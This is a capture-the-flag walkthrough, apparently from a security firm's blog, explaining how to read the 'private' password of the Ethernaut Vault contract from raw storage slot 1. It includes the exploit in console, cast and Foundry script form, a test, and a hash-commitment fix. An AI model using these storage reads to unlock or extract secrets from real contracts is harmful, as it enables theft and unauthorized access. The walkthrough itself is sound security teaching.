Ethernaut Level 8 Walkthrough: Reading Private Storage in Solidity
In this article, we will analyze and solve Ethernaut Level 8: Vault.
Reading time: ~7 min
This level looks unbreakable at first glance: a password sits behind a private state variable, and the only function that uses it just compares it to whatever you pass in. There is no getter, no leak in the ABI, nothing a block explorer's "Read Contract" tab will show you. The password is exposed anyway, because private is a Solidity-only concept. It has no meaning at the EVM level.
Beyond solving the challenge, we will cover:
- What
privateactually restricts, and what it does not - How Solidity lays out state variables into storage slots
- How to read any contract's raw storage directly from an RPC node
- Why "it's private" is never a security control on a public blockchain
Challenge Description
The Vault contract stores a password set once in its constructor and exposes a single function, unlock, that compares a supplied value against it. If they match, the vault flips from locked to unlocked.
The goal of the challenge is:
Unlock the vault.
Vulnerability Classification
| Category | Value |
|---|---|
| Vulnerability: | Sensitive data stored in plain, readable contract storage |
| Root Cause: | private only blocks other contracts from calling a getter; it does not encrypt or hide the underlying storage slot |
| Impact: | Full disclosure of a secret meant to gate a privileged action |
| Severity: | Critical for any protocol that treats on-chain storage as confidential |
| Attack Type: | Direct storage slot read |
Vulnerable Contract Analysis
This is the vulnerable contract used in the challenge:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
Root Cause of the Vulnerability
The vulnerability is not a coding mistake in the traditional sense. Vault does everything a developer might expect from "hiding" a value:
bytes32 private password;
private does exactly one thing in Solidity: it prevents other contracts, and any code outside this contract, from reading password through a Solidity-level call or an auto-generated getter. It is a compiler-enforced visibility rule, nothing more.
It says nothing about the Ethereum Virtual Machine. Every contract's storage lives in a set of numbered 32-byte slots, and that data is part of the public state of the blockchain. Any full node, any RPC provider, any block explorer can return the raw contents of any slot for any contract, with no special permission and no code execution required.
Vault declares two state variables in order:
bool public locked;→ occupies slot 0bytes32 private password;→ occupies slot 1
Slot 1 holds the exact 32 bytes passed into the constructor. Reading it back is not an exploit against Vault's logic. It is a direct read of data that was never actually confidential.
The lesson here is blunt:
privateandinternalare access-control keywords for Solidity code. They are not encryption, and they provide zero confidentiality against anyone inspecting the chain directly.
Understanding Solidity Storage Layout
- Solidity assigns each contract's state variables to sequential 32-byte storage slots, starting at slot 0, in declaration order.
- Simple value types smaller than 32 bytes can be packed together into a single slot if they fit, but
bool lockedhere takes its own slot because the next variable,bytes32, needs a full slot and packing rules don't merge them in this layout. password, declared right afterlocked, lands in slot 1.- This layout is deterministic and fully specified by the Solidity compiler. Anyone who knows (or reads) the contract's source can compute exactly which slot holds which variable.
- Reading any slot of any contract is a first-class RPC operation,
eth_getStorageAt, that requires no authentication and triggers no code execution on the target contract.
Vault contract storage layout
Slot 0 -> bool locked (packed alone: next var needs a full slot)
Slot 1 -> bytes32 password (the "private" value, fully readable)
Attacker / anyone
|
| eth_getStorageAt(vault_address, 1)
v
Raw 32 bytes returned directly by the RPC node
|
v
That value IS the password. No contract call needed.
private state variables leaking through direct storage reads is not a one-off curiosity. It is a well-documented class of bugs behind real incidents where projects stored commit-reveal secrets, whitelist seeds, or even encryption keys directly in contract storage, assuming visibility modifiers offered confidentiality they never provided.
Why Is On-Chain Privacy an Illusion?
privateandinternalprotect the ABI, not the chain. They stopMyContract(target).password()from compiling, and they stop an inherited contract from silently reading a parent's variable it shouldn't. Neither restriction survives a direct storage read.- Everything written to storage is public forever, including values later overwritten. Even after
passwordchanges, the old value is still retrievable from historical state via an archive node. - Packing does not add security. Multiple small variables sharing a slot are just as readable; you simply need to mask the correct byte range after reading the slot.
- The only real primitive for on-chain secrecy is cryptography, not visibility. Commit-reveal schemes, hashes, and off-chain computation with on-chain verification (including zero-knowledge proofs) are the actual tools for keeping a value confidential while still being verifiable on-chain.
Attack Strategy
What we know:
unlock(_password)compares its argument againstpasswordusing==, with no rate limiting or access control on the comparison itself.passwordlives in storage slot 1, since it's the second state variable declared.- Storage is public chain data, readable via
eth_getStorageAtregardless of Solidity'sprivatekeyword.
Our strategy:
- Read raw storage slot 1 of the
Vaultinstance directly from the RPC node. - That value is the password, in its exact
bytes32form. - Call
unlock(password)from our own account with the value we just read. lockedflips tofalse. No attacker contract, no transaction beyond a normal function call, is needed.
Solution
This level does not require deploying an attacker contract. The entire exploit is a storage read followed by a direct call.
From the browser console, connected to the Ethernaut instance:
const password = await web3.eth.getStorageAt(contract.address, 1);
await contract.unlock(password);
await contract.locked();
The same read from a shell, using Foundry's cast:
cast storage <VAULT_INSTANCE_ADDRESS> 1 --rpc-url $SEPOLIA_RPC
And the equivalent inside a Foundry test or script, using the vm.load cheatcode:
bytes32 password = vm.load(address(instance), bytes32(uint256(1)));
instance.unlock(password);
How the Exploit Works
First, we identify which slot holds password. Vault declares locked (slot 0) and then password (slot 1), so no guessing is involved, just reading the contract's own source.
Then, we query that slot directly. vm.load (in Foundry) and eth_getStorageAt (at the RPC level) both do the same thing: return the raw 32 bytes stored at that slot for that address, completely bypassing Solidity's visibility rules, because those rules never existed at this layer.
Next, we call unlock, passing the exact bytes we just read as _password. Inside the contract, password == _password evaluates to true, since we supplied the actual stored value.
Finally, locked is set to false. The level's win condition, !instance.locked(), is satisfied, with the "private" password never having been protected from anyone willing to read the chain's raw state.
Validating the Exploit with Foundry
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {Vault} from "src/levels/Vault.sol";
import {VaultFactory} from "src/levels/VaultFactory.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";
contract TestVault_L8 is Test, Utils {
Ethernaut ethernaut;
Vault instance;
address payable owner;
address payable player;
function setUp() public {
address payable[] memory users = createUsers(2);
owner = users[0];
vm.label(owner, "Owner");
player = users[1];
vm.label(player, "Player");
vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
VaultFactory factory = new VaultFactory();
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();
vm.startPrank(player);
instance = Vault(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether)));
vm.stopPrank();
}
function testInit() public {
vm.startPrank(player);
assertFalse(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
function testSolve() public {
vm.startPrank(player);
// password is declared private, but "private" only restricts
// Solidity-level access. Storage is public data on chain: slot 0
// holds locked (bool), slot 1 holds password (bytes32).
bytes32 password = vm.load(address(instance), bytes32(uint256(1)));
instance.unlock(password);
assertFalse(instance.locked());
assertTrue(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
}
Running the Test
source .env
forge test --match-path test/Solutions/Vault_L8.t.sol --match-test testSolve --fork-url $SEPOLIA_RPC -vvv
Make sure .env defines SEPOLIA_RPC and, for the live script below, PK. Never commit .env to version control.
Solving the Level on Sepolia
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script} from "forge-std/Script.sol";
import {Vault} from "src/levels/Vault.sol";
import {console} from "forge-std/console.sol";
contract VaultScript is Script {
Vault public target;
function setUp() public {
target = Vault(payable("0xYourEthernautInstance"));
}
function run() public {
uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
// password is private in Solidity, not in storage. Slot 0 holds
// locked (bool), slot 1 holds password (bytes32). vm.load reads
// raw storage directly from the RPC, no access control applies.
bytes32 password = vm.load(address(target), bytes32(uint256(1)));
vm.startBroadcast(pk);
target.unlock(password);
vm.stopBroadcast();
console.log("Vault locked:", target.locked());
}
}
Running the Script
source .env
forge script scripts/Vault.s.sol --rpc-url $SEPOLIA_RPC
Once the dry run compiles cleanly and you have replaced 0xYourEthernautInstance with your actual instance address, broadcast it:
forge script scripts/Vault.s.sol --rpc-url $SEPOLIA_RPC --broadcast --interactives 1 -vvv
How to Prevent Exposing Secrets in Storage
The vulnerable pattern is storing a secret in plain storage and relying on private for confidentiality:
// Vulnerable: password sits in plain, readable storage
bytes32 private password;
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
The fix is to never assume Solidity visibility hides on-chain data. If a value must gate an action and be verified on-chain, store a commitment to it instead of the value itself, and verify the reveal cryptographically:
// Corrected: store a hash commitment, never the secret itself
bytes32 private passwordHash;
constructor(bytes32 _passwordHash) {
passwordHash = _passwordHash; // computed off-chain as keccak256(password)
locked = true;
}
function unlock(bytes32 _password) public {
require(keccak256(abi.encodePacked(_password)) == passwordHash, "wrong password");
locked = false;
}
This still leaks the password the moment unlock is called with it, since calldata is public too, but it removes the always-on exposure of storing the raw value before it is ever used. For anything that must stay confidential even during use, on-chain storage is the wrong tool entirely; reach for commit-reveal with a time delay, off-chain signing with on-chain verification, or zero-knowledge proofs that let a contract verify a claim without ever seeing the underlying secret.
Lessons Learned
privateandinternalare Solidity compiler concepts. They restrict what other contracts can call, not what is visible on the blockchain.- Every byte written to contract storage is public, permanently, and readable by anyone with RPC access, no special tooling required.
- Storage slot order is fully determined by variable declaration order, which makes locating any specific value a matter of reading the source, not guessing.
- If a value must be genuinely confidential, do not put it in contract storage at all. Use hashing, commit-reveal, or off-chain secrets with on-chain verification instead.
- Auditors should flag any state variable marked
privateorinternalwhose confidentiality the protocol's security model actually depends on.
Conclusion
Ethernaut Level 8 teaches a lesson that trips up developers who are new to how public blockchains actually work: there is no such thing as a private value in contract storage. Vault's password was never protected, it was just formatted the way a database column named "password" might be, and treated as if that formatting carried the same guarantees a database's access control does.
Any protocol storing secrets, whitelist data, or unrevealed commitments in contract storage needs to assume that data is public from the moment it is written. This walkthrough covered:
- What
privateandinternalactually restrict, and what they don't - How Solidity assigns state variables to storage slots
- How to read raw contract storage directly, with
cast,vm.load, oreth_getStorageAt - How to defend against this with hash commitments instead of raw secrets
If you are building or reviewing contracts that store anything meant to stay confidential, this is exactly the kind of assumption we stress-test in a professional audit.
Read more Ethernaut walkthroughs on the SECLAT blog.
Need a security audit for your smart contracts? Talk to SECLAT.